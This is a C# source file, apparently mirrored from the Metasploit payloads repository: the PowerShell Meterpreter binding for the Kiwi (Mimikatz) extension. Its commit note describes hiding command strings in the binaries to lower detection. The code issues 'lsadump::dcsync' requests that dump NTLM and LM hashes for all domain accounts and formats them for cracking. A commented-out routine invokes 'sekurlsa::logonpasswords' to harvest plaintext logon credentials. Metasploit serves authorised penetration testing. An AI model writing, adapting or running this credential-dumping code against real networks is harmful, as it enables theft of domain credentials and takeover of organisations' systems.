mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-24 10:09:49 +02:00

We now use ints, and hopefully this means we don't have as much obvious stuff in the binaries! ``` $ # Before: $ strings metsrv.x86.dll | grep core_ | wc -l 46 $ # After: $ strings metsrv.x86.dll | grep core_ | wc -l 0 ``` Big win, and it's even bigger for the likes of stdapi. Had to fix a bunch of other stuff along the way, including a subtle issue with the Powershell Meterp bindings.
324 lines
14 KiB
C#
Executable File
324 lines
14 KiB
C#
Executable File
using System;
|
|
using System.Collections.Generic;
|
|
using System.Text.RegularExpressions;
|
|
|
|
namespace MSF.Powershell.Meterpreter
|
|
{
|
|
public static class Kiwi
|
|
{
|
|
public class Credential
|
|
{
|
|
public string Domain { get; set; }
|
|
public string Username { get; set; }
|
|
public string Password { get; set; }
|
|
|
|
public override string ToString()
|
|
{
|
|
return string.Format("{0}|{1}|{2}", Password, Username, Domain);
|
|
}
|
|
}
|
|
|
|
public class SyncRecord
|
|
{
|
|
public string Account { get; set; }
|
|
public string NtlmHash { get; set; }
|
|
public string LmHash { get; set; }
|
|
public string SID { get; set; }
|
|
public string RID { get; set; }
|
|
|
|
public string HashString
|
|
{
|
|
get
|
|
{
|
|
var lm = string.IsNullOrEmpty(LmHash) ? "aad3b435b51404eeaad3b435b51404ee" : LmHash;
|
|
var ntlm = string.IsNullOrEmpty(NtlmHash) ? "31d6cfe0d16ae931b73c59d7e0c089c0" : NtlmHash;
|
|
var userParts = Account.Split('\\');
|
|
return string.Format("{0}:{1}:{2}:{3}:::", userParts[userParts.Length - 1], RID, lm, ntlm);
|
|
}
|
|
}
|
|
}
|
|
|
|
public class HashReceivedEventArgs : EventArgs
|
|
{
|
|
public SyncRecord Record { get; private set; }
|
|
|
|
public HashReceivedEventArgs(SyncRecord record)
|
|
{
|
|
Record = record;
|
|
}
|
|
}
|
|
|
|
public delegate void HashReceivedEventHandler(object sender, HashReceivedEventArgs args);
|
|
|
|
public class DcSyncAllSettings
|
|
{
|
|
public string Domain { get; set; }
|
|
public string DomainController { get; set; }
|
|
public string DomainFqdn { get; set; }
|
|
public bool IncludeMachineAccounts { get; set; }
|
|
public bool IncludeEmpty { get; set; }
|
|
}
|
|
|
|
private static readonly Regex ValueRegex = new Regex(@"\s*\*\s(?<k>[^:]*):\s(?<v>.*)");
|
|
|
|
public static IEnumerable<string> DcSyncHashDump(DcSyncAllSettings settings)
|
|
{
|
|
foreach (var record in DcSyncAll(settings))
|
|
{
|
|
yield return record.HashString;
|
|
}
|
|
}
|
|
|
|
public static IEnumerable<SyncRecord> DcSyncAll(DcSyncAllSettings settings)
|
|
{
|
|
if (User.IsSystem())
|
|
{
|
|
throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work.");
|
|
}
|
|
|
|
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNCALL] User is not running as SYSTEM.");
|
|
|
|
if (string.IsNullOrEmpty(settings.Domain))
|
|
{
|
|
settings.Domain = System.DirectoryServices.ActiveDirectory.Domain.GetComputerDomain().Name;
|
|
}
|
|
|
|
if (string.IsNullOrEmpty(settings.Domain))
|
|
{
|
|
throw new ArgumentException("Domain parameter must be specified.");
|
|
}
|
|
|
|
System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Running against domain " + settings.Domain);
|
|
|
|
using (var adRoot = new System.DirectoryServices.DirectoryEntry(string.Format("LDAP://{0}", settings.Domain)))
|
|
using (var searcher = new System.DirectoryServices.DirectorySearcher(adRoot))
|
|
{
|
|
searcher.SearchScope = System.DirectoryServices.SearchScope.Subtree;
|
|
searcher.ReferralChasing = System.DirectoryServices.ReferralChasingOption.All;
|
|
searcher.Filter = "(objectClass=user)";
|
|
searcher.PropertiesToLoad.Add("samAccountName");
|
|
|
|
using (var searchResults = searcher.FindAll())
|
|
{
|
|
System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Search resulted in results: " + searchResults.Count.ToString());
|
|
foreach (System.DirectoryServices.SearchResult searchResult in searchResults)
|
|
{
|
|
if (searchResult != null)
|
|
{
|
|
var username = searchResult.Properties["samAccountName"][0].ToString();
|
|
System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Found account: " + username);
|
|
|
|
if (settings.IncludeMachineAccounts || !username.EndsWith("$"))
|
|
{
|
|
var record = DcSync(string.Format("{0}\\{1}", settings.Domain, username), settings.DomainController, settings.DomainFqdn);
|
|
|
|
if (record != null && (settings.IncludeEmpty || !string.IsNullOrEmpty(record.NtlmHash)))
|
|
{
|
|
yield return record;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
public static SyncRecord DcSync(string username, string domainController = null, string domainFQDN = null)
|
|
{
|
|
if (User.IsSystem())
|
|
{
|
|
throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work.");
|
|
}
|
|
|
|
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] User is not running as SYSTEM.");
|
|
|
|
if (string.IsNullOrEmpty(username) || !username.Contains("\\"))
|
|
{
|
|
throw new ArgumentException("Username must be specified in the format 'DOMAIN\\username'.");
|
|
}
|
|
|
|
Tlv tlv = new Tlv();
|
|
|
|
var command = string.Format("lsadump::dcsync /user:{0}", username);
|
|
|
|
if (!string.IsNullOrEmpty(domainController))
|
|
{
|
|
command = string.Format("{0} /dc:{1}", command, domainController);
|
|
}
|
|
|
|
if (!string.IsNullOrEmpty(domainFQDN))
|
|
{
|
|
command = string.Format("{0} /domain:{1}", command, domainFQDN);
|
|
}
|
|
|
|
// Mustn't forget to wrap this in a string so it's considered a single command
|
|
command = string.Format("\"{0}\"", command);
|
|
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Command execution will contain: " + command);
|
|
|
|
tlv.Pack(TlvType.KiwiCmd, command);
|
|
|
|
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoking kiwi_exec_cmd");
|
|
var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest(CommandId.KiwiExecCmd));
|
|
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoked kiwi_exec_cmd");
|
|
if (result != null)
|
|
{
|
|
System.Diagnostics.Debug.Write("[PSH BINDING] Result returned, kiwi is probably loaded");
|
|
var responseTlv = Tlv.FromResponse(result);
|
|
|
|
System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response came back with {0} results", responseTlv.Count));
|
|
System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response should contain a value for {0} {1}", TlvType.KiwiCmdResult, (int)TlvType.KiwiCmdResult));
|
|
foreach(var k in responseTlv.Keys)
|
|
{
|
|
System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response contains key: {0} ({1})", k, (int)k));
|
|
}
|
|
|
|
if (responseTlv[TlvType.Result].Count > 0 &&
|
|
(int)responseTlv[TlvType.Result][0] == 0 &&
|
|
responseTlv[TlvType.KiwiCmdResult].Count > 0 &&
|
|
responseTlv[TlvType.KiwiCmdResult][0].ToString().Length > 0)
|
|
{
|
|
System.Diagnostics.Debug.Write("[PSH BINDING] DcSync returned with some data");
|
|
|
|
var resultString = responseTlv[TlvType.KiwiCmdResult][0].ToString();
|
|
var record = new SyncRecord
|
|
{
|
|
Account = username
|
|
};
|
|
var elementsFound = 0;
|
|
|
|
foreach (var line in resultString.Split('\n'))
|
|
{
|
|
var stripped = line.Trim();
|
|
if (stripped.StartsWith("Hash NTLM: "))
|
|
{
|
|
var parts = stripped.Split(' ');
|
|
record.NtlmHash = parts[parts.Length - 1];
|
|
elementsFound++;
|
|
}
|
|
else if (stripped.StartsWith("lm - 0: "))
|
|
{
|
|
var parts = stripped.Split(' ');
|
|
record.LmHash = parts[parts.Length - 1];
|
|
elementsFound++;
|
|
}
|
|
else if (stripped.StartsWith("Object Security ID"))
|
|
{
|
|
var parts = stripped.Split(' ');
|
|
record.SID = parts[parts.Length - 1];
|
|
elementsFound++;
|
|
}
|
|
else if (stripped.StartsWith("Object Relative ID"))
|
|
{
|
|
var parts = stripped.Split(' ');
|
|
record.RID = parts[parts.Length - 1];
|
|
elementsFound++;
|
|
}
|
|
|
|
if (elementsFound > 3)
|
|
{
|
|
break;
|
|
}
|
|
}
|
|
|
|
return record;
|
|
}
|
|
}
|
|
|
|
System.Diagnostics.Debug.Write("[PSH BINDING] No result returned, kiwi is probably not loaded");
|
|
throw new InvalidOperationException("Kiwi extension not loaded.");
|
|
}
|
|
|
|
// OJ - 7th May 2018
|
|
// This function was broken when we rejigged kiwi to work off the Mimikatz subrepo. Commenting this stuff
|
|
// out for now until I fix it.
|
|
//public static List<Credential> CredsAll()
|
|
//{
|
|
// System.Diagnostics.Debug.Write("[PSH BINDING] Invoking binding call CredsAll");
|
|
|
|
// if (!User.IsSystem())
|
|
// {
|
|
// throw new InvalidOperationException("Current session is not running as SYSTEM");
|
|
// }
|
|
|
|
// Tlv tlv = new Tlv();
|
|
// tlv.Pack(TlvType.KiwiCmd, "sekurlsa::logonpasswords");
|
|
|
|
// var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest("kiwi_exec_command"));
|
|
|
|
// var ids = new Dictionary<string, Credential>();
|
|
|
|
// if (result != null)
|
|
// {
|
|
// System.Diagnostics.Debug.Write("[PSH BINDING] Result returned, kiwi is probably loaded");
|
|
// var responseTlv = Tlv.FromResponse(result);
|
|
// if (responseTlv[TlvType.Result].Count > 0 &&
|
|
// (int)responseTlv[TlvType.Result][0] == 0)
|
|
// {
|
|
// //foreach (var credObj in responseTlv[TlvType.KiwiPwdResult])
|
|
// //{
|
|
// // var credDict = (Dictionary<TlvType, List<object>>)credObj;
|
|
// // var credential = new Credential
|
|
// // {
|
|
// // Domain = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdDomain, string.Empty),
|
|
// // Username = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdUserName, string.Empty),
|
|
// // Password = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdPassword, string.Empty)
|
|
// // };
|
|
|
|
// // if (!ids.ContainsKey(credential.ToString()))
|
|
// // {
|
|
// // ids.Add(credential.ToString(), credential);
|
|
// // }
|
|
// //}
|
|
|
|
// return new List<Credential>(ids.Values);
|
|
// }
|
|
// }
|
|
|
|
// System.Diagnostics.Debug.Write("[PSH BINDING] Result not returned, kiwi is probably not loaded");
|
|
// throw new InvalidOperationException("Kiwi extension is not loaded");
|
|
//}
|
|
|
|
//private static List<Dictionary<string, string>> ParseSSP(string[] output)
|
|
//{
|
|
// var results = new Dictionary<string, Dictionary<string, string>>();
|
|
// var lines = new Queue<string>(output);
|
|
|
|
// while (lines.Count > 0)
|
|
// {
|
|
// var l = lines.Dequeue();
|
|
// // Make sure it's an SSP cred
|
|
// if (!Regex.IsMatch(l, @"\sssp\s:"))
|
|
// {
|
|
// continue;
|
|
// }
|
|
|
|
// l = lines.Dequeue();
|
|
// while (Regex.IsMatch(l, @"\[\d\]"))
|
|
// {
|
|
// var d = new Dictionary<string, string>();
|
|
// l = lines.Dequeue();
|
|
// for (int i = 0; i < 3; ++i)
|
|
// {
|
|
// ParseAndAddValue(l, d);
|
|
// l = lines.Dequeue();
|
|
// }
|
|
|
|
// //results[d.V
|
|
// }
|
|
// }
|
|
|
|
// // return new List<Credential>(results.Values);
|
|
// return null;
|
|
//}
|
|
|
|
//private static void ParseAndAddValue(string line, Dictionary<string, string> values)
|
|
//{
|
|
// var match = ValueRegex.Match(line);
|
|
// if (match.Success)
|
|
// {
|
|
// values[match.Groups["k"].Value] = match.Groups["v"].Value;
|
|
// }
|
|
//}
|
|
}
|
|
}
|